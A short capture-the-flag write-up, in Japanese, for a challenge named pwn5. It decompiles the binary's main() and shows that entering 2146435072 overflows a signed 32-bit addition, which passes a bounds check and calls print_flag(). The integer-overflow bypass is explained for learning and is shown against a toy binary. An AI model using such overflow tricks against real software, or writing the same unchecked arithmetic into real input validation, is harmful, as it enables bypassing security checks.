pwn5
Ananlyse the binary and get flag at: nc 35.231.63.121 1342
$ file pwn5 pwn5: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=773d00f80eafcb7c49f23f67372ca67463de87fe, not stripped
main()から見ていく。print_flag()がある。
int __cdecl main(int argc, const char **argv, const char **envp) { int result; // eax int v4; // [rsp+8h] [rbp-8h] int v5; // [rsp+Ch] [rbp-4h] v5 = 1048576; puts("enter an INT"); __isoc99_scanf("%d", &v4); if ( v4 <= 0 ) { puts("no enter a positive number only"); result = -2; } else if ( v4 + v5 <= 152 ) { print_flag(); result = 2; } else { puts("sorry!! Try again"); result = -1; } return result; }
0以上の整数を入力して入力された値(v4)とv5(1048576)を足した結果が<=152ならprint_flag()が呼ばれる。 v5(1048576)を足すと152以下にはならないので桁あふれさせる。
int 32bitの最大値は2147483647なので(v4 + 1048576) = (2147483647 + 1)にする。
2147483647 - 1048576 + 1 = 2146435072
2146435072を入力すると( v4 + v5 <= 152 )がTrueになってprint_flag()が呼ばれる。
flagを残してなかったのでlocalで。
~/Desktop/CBMCTF/Pwn/pwn5 ᐅ ./pwn5
enter an INT
2146435072
this flag is local.